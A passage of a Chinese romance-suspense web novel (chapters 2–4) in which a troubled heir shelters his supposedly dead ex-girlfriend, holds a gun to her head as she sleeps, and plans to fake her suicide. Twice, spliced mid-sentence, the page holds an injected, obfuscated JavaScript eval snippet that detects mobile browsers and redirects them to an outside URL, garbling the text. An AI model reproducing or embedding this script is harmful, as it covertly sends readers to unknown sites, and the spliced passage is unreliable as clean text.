《前女友死后的第三年》 2. 第 2 章 人这辈子学医已经很苦了,吃得苦中苦,就有更多苦等着吃,白昊英觉得自己最命苦的就是打小认识了陆痕钦,然后长大后还要在百忙之中给任性妄为、我行我素的大少爷当家庭医生。 是,他是昨天劝说了陆痕钦,让他没事多晒晒太阳。 但不是让他大病初愈,甚至还没愈之前就在花园里跟个木头桩子一样罚站。 陆痕钦站在花园的东南角,昨天大雨倾盆,他没从碎石甬道走,而是踩在草坪上静立,裤腿上洇湿了好几处。 这栋房子的花园一直有园艺师在定期护理,他是一位资深的英式园艺师,有着非常正统的审美观, 无论是两侧修剪整齐的黄杨绿篱,还是草坪边缘的丛丛小手球与羽扇豆,抑或是假山上盖满的虎耳草都存在得恰到好处。唯一格格不入是东南角,陆痕钦此刻目不转睛看着的方向,那一整块杂草丛生,残枝败叶在雨后更显得荒芜落魄。 白昊英撇嘴,好好的美景不看,看那块败笔! 也不知道陆痕钦干嘛非得留这一块角落说他自己来,不用园艺师插手,害得那位老头每次都抖着胡子长吁短叹。 视野范围里那瓶罪魁祸首的有机磷农药还没处理,明晃晃地放在栽着银叶菊和天竺葵的花架上,直看得白医生心率不齐。 “回去,挂水了。”白昊英拍拍他的肩膀催促,说话间快速打量了一顿病人的状态,发现对方看起来有些疲态。 陆痕钦提要求:“能挂快点么。” “怎么?” “睡觉。” “昨天没睡好?” “没睡。” 白昊英皱眉:“又失眠?不是有所缓解了吗?” 陆痕钦一副今天天气还行的平常态度:“不清楚,可能是耐药性吧。” 白昊英直接被这句话点炸了,他竖起眉毛大声强调:“我说了不管是什么药都要严格按照剂量!你别给我不当回事!出了问题以后——” “我知道,”陆痕钦走进房子,轻描淡写地打断,“所以我昨天没吃。” 白昊英跟在后面,看陆痕钦经过真火壁炉时顺手将放在上面的翻页日历撕了一张。 时间却一下子跳到后天。 中间那一页6月1日被主人早早撕去。 白昊英心里一动,见陆痕钦撕完后立刻将这页纸揉成团丢进垃圾桶,眼不见为净。 每一年都是这样,6月1日那一页一直被主人在拆日历塑封包装时就撕去,人为地从365天里抽掉了这一天,就好像豌豆公主的床,躺在上面的时候会清晰地感觉到异样,但只要一直往上加床垫,总能自欺欺人地闭上眼睛睡觉。 白昊英脑子里冒出一个恐怖的念头,陆痕钦昨天误食农药不会是因为…… “愣着干嘛?”陆痕钦坐到卧室床尾休息区的L型沙发上,右手搭在扶手上示意白医生可以扎针了,左手还有条不紊地点了下待机的笔记本电脑准备工作一会儿,看起来状态无比正常。 白昊英犹豫再三还是觉得多说多错,手脚麻利地给他挂上水后只老生常谈地说了句:“以后睡不着可以听听白噪音,或者冥想一会儿。” “嗯。”陆痕钦从鼻腔里逸出一声,左手在键盘上灵活地打了一串字。 白昊英难受于这种干等着的冷场,坐在一旁掏出手机刷视频,才划了三下就跳出一则新闻: 【社民党原执行委员会议员钟理群于近日前往沙桐大道祭奠……】 白昊英一个激灵,拇指用力擦过屏幕上滑,蹭的一下连忙把这个视频紧急送走。 房间里静悄悄的,键盘敲击声已经停了。 白昊英在心底哀嚎几声,头也不敢抬,只敢用余光猛瞟沙发上坐着的人—— 陆痕钦垮伏着肩膀坐着不动,他并没有转过头来,好像对刚才的新闻并不感兴趣,此刻,正一瞬不瞬地盯着自己的床头柜。 最好没听到……白昊英心下稍安,跟着望过去,那上面只放了寥寥几样物品,看不出什么异样。 但陆痕钦突然反应很大地一下子站起了身,全然忘记自己还在吊水便笔直地往前走,输液管被粗鲁地拉直,拖着输液架大幅度地晃动了下。 吊瓶叮叮当当地剧烈晃动起来。 “诶诶你干嘛呢?” 白昊英心惊肉跳地把手机往边上一丢,赶紧三步并作两步上前扯住了他。 陆痕钦的目光还抓在床边,他往前一指,声线听不出起伏:“毛巾怎么在床头?” “啊?”白昊英满脸问号。 “把它丢了。”陆痕钦收回目光。 真是莫名其妙,白昊英只能应付着:“行行行,我等下就丢垃圾桶。” “现在就丢,”陆痕钦很执拗,不知为何越说语气越重,“丢到外面去,不要留在家里,我不想看到跟她有关的任何东西!” 没有指名道姓,但白昊英只能联想到一个人。 对了,也只有在有关她的事情上,陆痕钦才会格外“阴晴不定”。 可是……白昊英不解:“这毛巾为什么会跟她有关?她都已经——” “死了?”陆痕钦侧脸盯了他一眼,脸上轻蔑的笑容慢慢扩大,“她没死,你们根本不知道内情。” 白昊英的表情一下子变得无比复杂。 连接手背的细管回了长长的一段血,陆痕钦觉得无聊,还伸手用指甲掐了一记,无所谓地看着暗红色的血又往上蹿了一.大截。 他思路清晰,逻辑通顺:“社民党当初最后一阵好风就是借着夏听婵的那出戏,现在任期快到了,又把旧事拉出来重提,搞些舆论大做文章,又是送花祭奠又是演讲……不就是这么回事。” 说完他又觉得没意思,好在被敬业的白医生按回沙发上,陆痕钦看起来一点也没有因为这种小插曲受到影响,平心静气地重新投入了工作。 直到最后挂完水他都情绪稳定,一切正常。 白昊英要离开前,陆痕钦也跟着换了件西服,说要回公司一趟。 司机来接,陆痕钦其实并不怎么需要费心在工作上,举家搬离来到国外后,原先海外控股的公司打包重组了,他这几年状态不对,只挂了个职位占了股份,能保证几辈子衣食无忧而已。 他坐在后座泛泛望向窗外,沿途经过花店,忽地好像被针扎了一下,只一眼就收回目光,将注意力强制转移到手机群消息上。 原本是想点进公事的,可列表里那个叫“知了”的联系人不知道为什么突然跑到了上面,就跟那块莫名其妙出现在他床头的毛巾一样。 陆痕钦想划过去却误点了进去,印入眼帘的是铺天盖地的一.大段小作文,绿油油的铺满了整个屏幕。 ? 他发的? 他什么时候发的? 上下滑动几下,这篇小作文还像是裹脚布一样又臭又长,陆痕钦表情不太好看,好不容易上滑到头,上面还有一.大段。 ……什么? 时间是今天凌晨,他睡不着的时候。 太匪夷所思了,他居然向一个对面早就将他拉黑的账号洋洋洒洒发了那么多字,长篇大论的绿色和居中的一个鲜红色感叹号好像在放肆大笑着嘲讽他,陆痕钦用手指快速点了点,接连将昨晚发疯的产物删得干干净净。 删完后,这个账号就又掉回列表下面。 他没有把聊天记录清空,往上一翻,记录里只剩下数不清的、无数个晚上断断续续发送的“我恨你”,每一句前方都有一个感叹号拒收。 * 从车库下车,转高管专用电梯可以直达27层,这个时间已经没什么人坐这个电梯,陆痕钦按下楼层键,静等电梯门关上。 车库里忽然从远处传来一阵急促的小跑声,就连赶急了时发出的轻微喘息声也在眨眼间拉近。 钢制门关闭的一瞬间,一只手猛地插进缝隙里反扣住电梯门。 她拦门时用了点力,手指连接到手背的骨骼线条明晰,素甲,修剪平整,无名指指根处还有一颗浅咖小痣。 陆痕钦呼吸稍顿,从后脑勺沿着脖颈往下开始如板结的干涸地一样僵硬起来,他将肩膀慢慢收紧后压,眉骨却一点点扬起来,目光紧紧定在那只细瘦素净的手上。 电梯门打开,夏听婵努力平复下急促的呼吸,她依旧是昨晚那身衣服,鞋子也是,大概是没有落脚地,所以湿透后蒸干的衣服还有些皱,看起来并不体面。 她迎着他的视线,一把扯掉了脸上的口罩。 多此一举,他心想,她就是化成灰他都认得她。 夏听婵把电梯卡住却不往里走,那双乌泠泠的眼睛看了他六七秒后,才朝着电梯顶的角落方向刻意地飞去一眼。 监控 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15955530|177581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 陆痕钦看得懂她的暗示,他从来都最能揣摩她的心思。 但他只冷冰冰地再次伸手按了一下关门键。 夏听婵反应极快,左脚横向一踩,直接霸道地将电梯门卡住,她什么多余的话都没说,只微拢眉心看着他,轻轻地叫了声:“陆痕钦……” 陆痕钦无动于衷。 车库外有喇叭声短促响起,回绕在空旷的地下空间里回声明显,夏听婵快速撇过脸往远处眺了一眼查看情况,脸上愁绪更浓。 她转过来,再次用这样为难的表情看向他,细细的眉毛往下落,在喇叭声第二次响起时一咬牙,不管不顾地扎头就往电梯里钻。 几乎是同时,陆痕钦往右前方跨了一步,他身量高挑,肩膀平直开阔,挡在前面时能将她的身形完全包进去。 他隔在她和镜头中间把人护进来,右手反拧着往上一握,将监控镜头整个包住。 夏听婵谨慎小心地拿他当盾牌一样躲在他身前,她进电梯前特意一把捋掉了发绳,让长发散下来遮住脸,重新戴上了口罩。 她靠得很近,又知趣地保持着那点咫尺天涯的距离,就连低头时垂在空中的发尾都没有碰到他的衣襟。 陆痕钦垂着颈,左手避嫌般插在兜里,一动不动地盯着两人之间那条细窄的界限。 电梯慢慢上升。 “所以呢?”他语气冷淡,“现在是什么意思?” 夏听婵埋着头快速小声解释:“钟伯伯现在在争取支持的关键期,他前两天去沙桐大道送了花,但晚上就收到了匿名威胁信……” “威胁什么?” 夏听婵抬起脸瞄了他一眼,老老实实道:“信里威胁说,他知道我没死。” 呵。 陆痕钦无所谓地点了点头,毫无波澜地接下去:“所以你连国内都没法呆了。” “是,这几年我一直在境外。” 难怪看起来清瘦了一点,陆痕钦再次将目光落到她脸上,轻佻地想着,很好,她过的不好他才满意。 “然后呢?” 夏听婵犹豫片刻,将话挑明:“我现在的身份证件可能不太安全,也没法在风头上再次出境,最近……我还感觉有人在跟踪我,我没有别的去处,陆——” 剩下的名字渐渐消弭在她口中,大概是他眼中嘲弄的意味太过。 陆痕钦调整了下站姿,遮挡住监控的手微微活动着往上推,将角度完全拧到死角处。他把脑袋更低地往下垂,连带着肩膀都向内扣紧,远远望去,就像是他一手撑在天花板上,倾身与怀里的人私语。 他的鼻尖跟她头顶黑发间小小的旋只有丁点距离,近到她洗发水淡淡的香气都萦绕在鼻尖。 他把声线都放轻:“有事钟无艳,无事夏迎春。我以前是想过你落魄的样子,你还真的来敲我的门了,未免有些太给面子了。” 夏听婵没有浮现出半点难堪的神色,她从以前到现在一直如此,一根筋似的从来只在乎是否能达到结果,对于别人不怀好意的弯酸复述的“事实”大方承认,她点头道:“我确实没处去……” 27层到了,电梯门“叮”的一声打开。 陆痕钦直起身,重新将两个人的距离拉远,他细细地看了她一圈,嘴角扯出一个冷淡又嘲讽的弧度。 他的左侧眉梢微微挑起,目光下压,夏听婵再熟悉不过他这种表情,轻蔑的玩弄和粘稠的恶意。 他会拒绝她,显而易见。 夏听婵重新按下了地下二层的按钮,话不多说,马上打算放弃。 红灯亮起来,电梯门要关上前,陆痕钦用手背轻挡了下,居然话锋一转松了口: “你要来我家也可以,不过我早上出门的时候把密码换了。” 她怔然抬头。 陆痕钦把手掌按在她额前,将她的脑袋一点点下压,重新低头成避开监控的角度,而后抽出一条手帕,当着她的面擦了擦手指。 他往外走,头也不回道:“密码是我父亲的忌日,夏小姐贵人多忘事,如果你还记得的话,请便。” 夏听婵一下子没了声音。 直到电梯门重新关上,陆痕钦也没听到别的动静。 夏听婵没有跟出来。 可能是打退堂鼓了,又或者是她真的记不起陆文成的忌日。 但这些都跟他无关。 3. 第 3 章 下午的会开得非常顺利,陆痕钦听完综合医院运营季度报告,再听医疗器械流通分销情况,一直没有发表什么意见,只在药品研发和生产条线汇报时因为会议时间过长而走了下神。 “……中枢抑制作用更强,副交感神经产生兴奋效应,高剂量可兴奋延髓和大脑,导致烦躁、幻觉,这方面我们还在进行进一步测试和优化……” 陆痕钦随意地支着手臂,眸光略微涣散地落在正前方放映PPT的幕布上,图片接二连三地展示,他被色泽晃了晃眼,这才收紧下颌往面前的文件扫了一眼,毫无意义地点了点手机屏幕。 屏幕亮起来,已经16:11了。 大脑还在惫懒,所有动作都是无意识的,面容解锁后他照例查看了一下邮件和vx,下滑时手指好像知道应该到哪里就是边界,在“知了”联系人出现在界面前就刹住了不再下滑,眼不见为净。 但…… 她真开得了口? 她是那种会低头的人么? 陆痕钦心不在焉地小幅度上下滑了滑屏幕……也许是真遇到难处了,现在的局势确实比较紧张,而且她如果想耍花招求和的话,起码会先把他的各种黑名单放出来。 他点进去,对话框里的文字删了又编辑,改了又改,最后假惺惺地输入了一个看起来是“发错了”的信息: 【收】 消息已发出,但被对方拒收了。 “啪”的一声,陆痕钦冷着脸将手机翻了个面倒扣在桌上。 正在汇报的闵丰羽立刻噤声。 一桌人都望过来。 陆痕钦抬眸,轻轻摇了下头:“抱歉,一点私事,继续吧。” …… 18:47。 陆痕钦回到家,原本今晚有个应酬,但被他以“最近需要清淡饮食”而婉拒了。 开门输密码的时候接连输错了两次,他才想起今早已经换了密码。 陆痕钦在打开的大门前多站了几秒,而后面无表情地进门,换鞋。 放在玄关处的拖鞋好像少了点…… 他独居几年,也不喜欢邀请外人来家里小聚,摆出来的物品多为单人份,够用就行,剩下的塞在储藏室里连包装都没拆。 陆痕钦打开鞋柜,从里面拆了两三双拖鞋出来摆在门口,塑料包装纸被他无意识地按进掌心,发出窸窸窣窣的薄脆响声。 他皱了皱眉,忽然觉得包装纸吵得人心烦,胡乱揉成团扔进垃圾桶后回到玄关,一弯腰,将新拖鞋又塞回了橱柜。 秋姨将饭煮好就回去了,这几天都是些软粥和易消化的蔬菜,但今天在会上陆痕钦发信息让她多加了两个鱼虾荤菜,现在看起来也倒还算丰盛。 不是一个人的分量。 他吃得很慢,等到最后实在吃不下了才收拾掉,然后按照剂量吃了药。 昨天通了个宵,今天理应早点休息,陆痕钦上床的时间比平日里正常的睡觉时间还提早了一小时,早早关了灯闭上眼酝酿睡意。 他的睡眠浅,好像已经睡了一觉了,又好像才刚阖目小憩了十几分钟,待听到声音时,人已经完全坐起来了。 楼下客厅的灯亮着。 他盯着卧室门缝下泄进来的暖黄色灯光,好半晌都没有动作。 从卧室到走廊才不过十几米,陆痕钦花了许久的时间才慢腾腾地踱到玻璃栏杆前,好像在拆开一个礼物盒前做了太久的心理建设。 他屈肘压在栏杆上,微微躬起身居高临下地眺望了一眼,夏听婵规规矩矩地坐在沙发上,似乎已经等了他很久。 夜晚实在太安静了,还没到蝉鸣的盛暑,她比夏天先来。 夏听婵在看茶几上放着的照片,是陆痕钦成年礼的时候拍的,一家三口。 她看得入神,不知道在想些什么,直到陆痕钦泛着一身冷意走到她面前,她才恍然惊觉。 陆痕钦:“你怎么来了?” “我不能来吗……?”夏听婵有些懵,迟疑道,“你不是连密码都告诉我了?” 陆痕钦好像短促地深呼吸了一下,他眉毛一弯,唇角也跟着勾起,但眼底没有丝毫笑意。 “嗯。”他点头,“你说的对,我是在欢迎你来。” 陆痕钦隔着茶几俯身过来将她面前的照片盖倒,颇为友善地告诉她需要什么尽管说。 夏听婵什么东西都没带,孑然一身,她不是个麻烦的人,此刻见陆痕钦做足了一副东家模样,也只感谢着提了几样必要的洗漱用品。 她原意也是尽量少添麻烦,按照正常的社交往来来说,陆痕钦应该客气地为她准备更多的生活用品,但他偏不。 除了那几样,他什么都没添,以牙还牙般用人机模式打败人机:“行,三楼朝北的房间给你,离我的卧室也远,我晚上不怎么睡得好,怕吵到你。” 夏听婵跟在他后面点头说谢谢,她走路的时候异常安静,听不到一点脚步声,陆痕钦往回瞥了一眼,太阳穴跟着抽跳了一记。 “你为什么不穿鞋?” 夏听婵顿了一下,老老实实道:“抱歉,因为我看门口没有多的,只有一双男士拖鞋,但好像是室外的。” 她有些事记得倒牢:“你上次不是不让我碰你的东西吗?” 陆痕钦不吭气,锁着眉一副天王老子欠了他八百万的模样,一言不发地走到玄关打开橱柜,拿出傍晚时刚拆的拖鞋放在她脚前。 夏听婵不动,终于有了点寄人篱下该有的样子,推脱道:“这个好像是新的。” “旧的,有人穿过的,”陆痕钦直起身,避开她的视线,“穿上。” 两人没有更多的交流了,夏听婵进了房间后就再没有出来,朝北的客房偏小,也没有内置浴室,陆痕钦迟迟没有上楼,在一楼客厅坐到后半夜才将刚才按倒的照片重新竖起来。 他坐在她方才坐的地方,将这张照片反反复复地看: 【你的那个小女朋友不要老是带到家里来,我要见几个朋友都不方便。】 【暗格房间里的监听器是谁装的?】 【一切都安排好了,今晚就走,别浪费时间,都什么时候了你还想着把她带走?】 【你知道她从小长大的那个福利院隶属于社民党福利体系的一环吗?她八成很早就认识钟理群和钟奕了,也认识你跟我!她哪里是跟你谈恋爱,她是从一开始就别有用心地在接近你!】 【这么大的集团体系,这么好的医疗服务,到头来,也救不回想救的人,留不住想留的人。】 陆痕钦伸出食指在相框中间上下滑了滑,将相片里站在他身侧的父母的脸颊一一抚过,然后重新将相框工整地摆在茶几中间,熄了灯往楼上走。 从前天夜里她像个音节终止符一样戛然闯进来之后,大概是太猝不及防了,他一直没有处理好自己混乱的心绪和纷杂矛盾的想法,以至于到现在才想起来,在这三四年里,他曾经无数次地想着,如果再见面,他应该毫不留情地报复回去。 他那么恨她。 他卧室床头柜的最底层放了一把枪,保养得很好,由他亲手频繁地清洁、润滑、卸弹与清膛,里面装了两颗子弹。 陆痕钦坐靠在床头,再一次给“知了”发了一句话,依旧拉黑,他见怪不怪,取出手枪卸下子弹检查了一下后又装回去。 房子里静可闻针,陆痕钦将枪别在腰后上楼,转过走廊走到房间前,左手轻轻搭在门把手上,放缓了动作悄无声息地往下稍拧,锁舌顺滑。 他不自觉地皱了下眉,夏听婵居然没有锁门,就这么纵许他轻而易举地拿着枪走进了她的房间。 卧室里不算暗,她没有把窗帘完全拉上,皎洁月色从中间温柔缱绻地洒进来,一直折到床上。 她面向他侧躺着,睡得很沉,一缕长发绕过耳朵后歪歪扭扭地搭在上唇,呼吸时好像被风吹动的兔尾草一样,毛茸茸地一动一动。 陆痕钦隔着距离盯着她看了很久很久,一直没有靠近,而她半点防备都没有。 他的脑子清醒,活跃,每一根神经都是紧绷亢奋的,手臂抬起来又往下倾,瞄准时轻微晃动的准心里她的模样更加清晰,放大的面容因为太过真实,反而让他浅浅地冒出一个混乱的疑惑……他觉得她可能是假的。 枪管子悬空又往下压,准心里她的脸出现又滑开,他思虑周全地考虑着人在自杀时枪口应该会抵着太阳穴,但紧接着却浑浑噩噩地想起那双一碰就镜花水月的鞋子。 碰到的话,是不是就消失了……? 奇怪的走神。 他僵持了很久,用枪比划了很久,最后咬咬牙两步靠近床边躬下身,左手五指张开撑在床上,另一只手用力握紧手枪,将枪管子将将抵在她太阳穴上。 床往下凹出浅浅的弧度,他感觉到血在身体里乱撞,呼吸不可遏制地开始紊乱,他背后浮出一层薄汗,在这种极度紧绷的时候居然还分神想到她睡觉的地方几乎没有什么床单凹陷褶皱的痕迹,原来她瘦了这么多。 指腹卡在扳机上,陆痕钦强迫自己努力集中思绪,更低地垂下颈凑近她,鼻腔里忽然闻到了很淡的海盐味,干燥的木质调,混着淡薄的柑橘调,像海边岩石上被日光晒干的温暖矿物粒。 幻觉里也会有气味吗? 陆痕钦茫然了一瞬,这明明是他的洗浴品,她刚才借用的三楼的浴室,怎么会在身上散发着相同的气息? 嗅觉唤醒他某些回忆。 他好像是从两人在一起之后才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15955531|177581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开始用这种海盐味的沐浴露的。 是告白,但告白的那次也是她牵着他的鼻子走。 在那之前他找了很多功课想应该去哪里表白,但夏听婵不是打工时间撞了就是学习小组有事,接二连三的计划泡汤让他大为沮丧,最后还是她偶然提了一嘴想去吹吹海风,因为那次模考她少见地丢了第一名,他怕她感到失落,便抛却了所有花里胡哨的念头,翘了下午最后一节自习课开机车带她去的海边。 学校离海边有好一段距离,两人中途还换乘了动车,最后赶到海边时已经是傍晚了。 因为是临时起意,那天天气并不好,云层太厚,几乎看不到所谓灿烂绚丽的晚霞,海边的人也不多,偶尔会传来一阵喧闹声,但很快被涨潮声吞没。 夏听婵面朝着大海张开双臂,海风把她的校服往后吹起来,好像一面饱胀的鼓,她把束起来的头发解开,那些长发便像是波浪一样一层层地拂过她的脸颊。 天好像要下雨了,海边成群的燕鸥俯冲盘旋,棕榈和海桐树剧烈地摇晃着,被海风吹落落的叶子翻滚着往前飞,远处电线杆上拉成平行线的光缆颤动着延伸到尽头,好像下一秒就会在这种陡然昏暗下来的灰黑天色里迸裂出火光。 所有的一切都在预兆着狂风骤雨的极端天气即将来临。 陆痕钦频频看向天际,夏听婵方才蒙头往前走,好像一叶扁舟淌远海惊涛中,岸边的原本就寥寥可数的游客此刻更是没了影,身边失去了参照物,莫名有一种旷远的自由。 两人现在站着的地方已经被海水吞到了小腿肚,白日里的热度退散,每一次海浪扑到皮肤上都是凉的。 他不放心地去拉她被风吹鼓的袖子:“听婵,要下暴雨了。” 夏听婵没回头,而是突然说了句:“现在好适合告白啊。” 这突如其来的一句话瞬间将他所有的思绪都打乱,陆痕钦的脑子刹那间好像也被海风吹得一片空白。 他原本设想的表白场景应该是更加隆重且华丽的,比如在他家的度假小岛上,超跑车队巡游,白沙上全息投影;或者应该在碧草连天的高尔夫球场,包场后可以请设计师按照他龟毛挑剔的需求再三布置场景,他们坐在一个玻璃穹顶的小屋里看天上的无人机表演;再不济,也该是一家米其林高端餐厅,有悠扬的钢琴曲,娇艳欲滴的玫瑰花,烛台、蜡烛,还有藏在甜品里的戒指…… 夏听婵自顾自道:“反正如果是我的话,这种场景下跟我表白,我一定会同意的。” 他拉她袖子的手一颤,仓促间不自觉地顺着她的手臂往下滑,想也没想便用力地抓住了她的手。 这还是他第一次牵她的手,在这种头晕脑胀的时候。 从来没有这么紧张过。 但这句话确实想了太久太久了,好像一颗裹满糖霜的巧克力,每天都在他喉间滚了又滚。 他心跳如鼓,极力控制自己的嗓音让自己看起来正常一些,一个字一个字地郑重问道:“夏听婵,我喜欢你很久了,可不可以让我做你的男朋友?” 暴雨终于下了下来,他还没听到回复,手臂也还在不听使唤地轻微颤抖着,可雨一下子把她淋成了落汤鸡,他当然不肯松开好不容易牵住的手,单手脱了外套罩在她脑袋上。 夏听婵转过脸,冲他抿嘴笑了一下,一起撑起外套挨过来把他也罩进去,她身上很淡的柑橘香气混着海风里浪涛的气息,像是一层网一样缓慢地缠住他。 雨和海的气味长久地刻在他的记忆里。 她额前的头发湿淋淋地往下滴水,他想帮她将贴在脸上的头发理到一边,可她什么也不管,就笑眯眯地往他身上贴,那些雨水滴滴答答地落到他脖子上,是温热的。 没有用来看无人机的透明玻璃的小屋,只有这薄薄的一件校服勉强撑起来的小帐篷,他听到她轻快的声音,像玉一样铛铛响,她说:“好啊,我也喜欢你。” …… 陆痕钦在她的房间里待了不知有多久,手腕上的扭曲疤痕发着烫,痒得人心烦意乱。 他自认为眼下的自己神志非常清醒。 半夜在久别重逢的前女友卧室床边像鬼一样站了快两个小时都还没有稳住痉挛不止的手臂,这个状态不适合贸然下手。 枪管子里只有两颗子弹,如果都打偏了,反而会打草惊蛇,难以收场。 更重要的是,今晚实在是太仓促了。 没有在她进房子的第一时间按照私闯民宅的正当理由开枪已经是错过,那么现在如果要伪装自杀的名义再动手,也应该更做得更周全一些,今天…… 他把黏在她睡颜上的目光强行挪开,冷着脸默不作声地收了枪。 先算了吧。 不差这一晚。 4. 第 4 章 如果要伪造一个人自杀,最初级且简单的方式,先写一封遗书。 陆痕钦睡不着,从夏听婵房间里出来后就又回到沙发上,打算模仿她的字迹写一封遗书。 他在白纸上试着下笔,几个字落笔后便不太满意地蹙起了眉。 长久不模仿,确实生疏了不少,写来写去,最像的还是她的名字。 这样不行,他将纸竖起来拉远,与记忆里对比了片刻,果断放下纸笔往地下室走去。 地下室有两个储藏间,其中偏小的那个是他特意隔开后留下的一个密闭空间,平时大门紧锁,就连阿姨做清洁时都在他的要求下略过这个房间。 陆痕钦很少来这个房间,一开锁进门,狭小的空间里新风系统一年到头无间断地开着,保持着低温干燥的环境。 房间里还放着无火香薰,只是已经挥发得快见底了,深吸一口气,只能闻到淡淡的柑橘香。 这个储藏间写满了一个人的名字。 陆痕钦微垂着目光往里走,顺手带了一把门关上。 房间里有许多洗出来的照片,因为怕放在暗无天日的地下室里受了潮,所以每一张都被精心装进了相框里,大大小小整齐地放满了一整个橱柜。 只是所有的照片都是面向墙壁的。 陆痕钦眼皮未抬,径直走到左手边贴墙的一整个柜子,里面装满了书。 他抽了几本,不小心连带到旁边的一本旧版的《莫泊桑小说集》,书“啪嗒”一下掉在地上,夹在中间的书签也飞了出来。 陆痕钦附身捡起来,几乎不用思考便非常熟练地翻到书签原本夹着的73页,将最后一个借阅人姓名登记着“夏听婵”的书签仔细夹好。 他要找的不是这个,而是夏听婵生平唯一一次写的检讨书。 * 夏听婵以为她第一次“正式”认识陆痕钦是在11楼,正对着天台外墙下的一个半圆形露台上。 她手脚麻利地从10楼外墙翻上来时,陆痕钦和白昊英、宰浩荣、阮成礼等一群人正将一个抖成筛糠的男生围在中间。 好一个精英阶层的二代三代们标准又常见的校园霸凌现场。 彼时,夏听婵的脸上就微妙地浮现出了这种意思。 陆痕钦非常冤枉。 他自认为自己态度相当诚恳了,几次三番好言好语地对她解释不是所有有钱人都那么闲地想通过霸凌别人而缓解无聊的校园生活,他的时间很宝贵,他的日程也很满,不是什么三六九等的东西都能来分一瓢羹的。 但被围在中间的那个男生凄厉地喊了一声“夏同学”,好一个闻者伤心见者落泪,于是场面就有些失控了起来。 不想被先入为主地误解,陆痕钦扯住她的手腕不肯这么不明不白地放夏听婵回去,她不记得他了,但他记得她,如果不解释清楚,她一定会出手干预—— 那一次她守在一个移动摊车的旁边,跟另一个中年男人对峙。 陆痕钦晚归,又嫌这条小吃街油烟气重,便转进其中的一条安静小巷里给司机发去自己的定位,发条信息的当口,耳边断断续续地传来中年大叔被香烟熏燎后粗嘎的嗓音。 移动摊抢位置而已,底层市井人家的“大事”。 陆痕钦打开手机开了局游戏,尽量让自己屏息并放缓呼吸,免得吸入太多这种油腻低劣的空气。 “位置都是交了摊位费的,今天也是我们先到,大叔你占不到其他位置就把车往我们摊位前一挡,这是互相好好做生意的意思吗?” “你们走不走?不走今天谁也别想干!” “我们凭什么走?” “哐当”一声巨响。 陆痕钦蹙眉抬起脸,看到中年大叔火冒三丈地将夏听婵摊车上的不锈钢桶摔在地上。 乳白色的甜水泼了一地,盖子的铁皮外壳凹进去一大块,上面溅满了汁水。 夏听婵旁边还站着一个年纪差不多的女孩,看外套里面露出的衣领也是清云高中特招生。 她好像吓坏了,一边啜泣一边揪着夏听婵的袖子往后拉。 那男人捋起袖子还要摔,夏听婵迈出左脚卡住摊车轮子,而后助力般往前用力推了一把。 一整辆车岌岌可危地往前栽倒,“咚”的一声撞上挡在面前的大叔的车,两辆摊车一同狠狠侧翻。 尖利的尖叫声再次爆起,再骂,就是一些不堪入耳的污言秽语。 陆痕钦揉了下耳朵,没什么表情,只觉得吵闹。 退一步海阔天空的事,何必搞成这样,底层人生总会把一些微不足道的事上升到不死不休的大事。 他看着对峙在一起的身影,围观人多,那男人也不敢真动手。 游戏里的队友call了他一声,陆痕钦点了个信号,低下头继续玩了几秒,忽地退出了游戏页面,难得多管闲事,顺手拨号打了个报警电话。 更大的冲突爆发前,警笛声由远至近,那大叔顿时止住了恐吓动作,骂骂咧咧地扶起摊车忙不迭推走了。 周围一群之前默不作声的摊主终于开始安慰哭泣的女孩:“彤彤别哭了,那人就是个泼皮性子,仗着……” 陆痕钦抽空瞄了一眼,看到夏听婵借来扫把和簸箕开始清理倒在路面上的脏污食物。 两人收拾了一会儿,夏听婵左右抬了抬脚底,发现糖水黏腻,左右一环顾,便锁定了这条小巷。 陆痕钦这才看清她的脸,眉梢轻轻一挑。 原来真的是熟人。 今天被轮值老师追赶时,见到他脸的风纪组成员谁也不想当出头鸟,都默契地保持了沉默,但夏听婵面不改色地指认了他。 是个看不懂气氛的书呆子,阮成礼说她常年霸榜年级第一,并且还是个次次拿助学金的“寒门”,她是在福利院长大的,不懂人情世故也有因可循。 只是这件事要怪他,今天被老师追赶的时候,都怨他奇奇怪怪地在人群里第一眼就只看到了她,然后在经过她身前时脑子发昏一样,回头又定定地瞧了她一眼,这才被铁面无私的夏同学锁定了胸牌上的名字。 他见夏听婵走近了,手指悄无声息地按在音量键上直接调到静音,就这么不声不响地朝阴影角落里走了两步,让自己的脸完全没入黑暗中。 两个女孩还在说话。 应彤说:“小婵,今天还好有你陪着我壮胆,我一个人的话呜呜……但那个大叔这么凶,我们今天是不是不该跟他吵?他要摆在我们前面挡住,我们要不就让——” “不能让。”夏听婵打断她。 陆痕钦无声地勾了勾唇角,游戏里又一枪爆头掉一个,他漫不经心地想着所以他才不想跟这种性情刚硬不屈的好学生有过多牵扯。 夏听婵:“人都是看人下碟子的,他只堵我们不堵别人,是因为看我们年纪小,好拿捏,碰到别人他也不敢,虚张声势的一个人。但今天如果让了他,暴露出一点‘好欺负’的气息,明天起就会有其他‘陌生’的摊车明目张胆地过来占位置,你就再也没法在这里出摊了。” “今天吵了、闹了,大家都砸地上了,他嘴上骂,之后才会因为碰了钉子,躲麻烦井水不犯河水,周围看热闹的才会觉得我们是犟种,心照不宣地互相客气着,这个才是底层逻辑。” 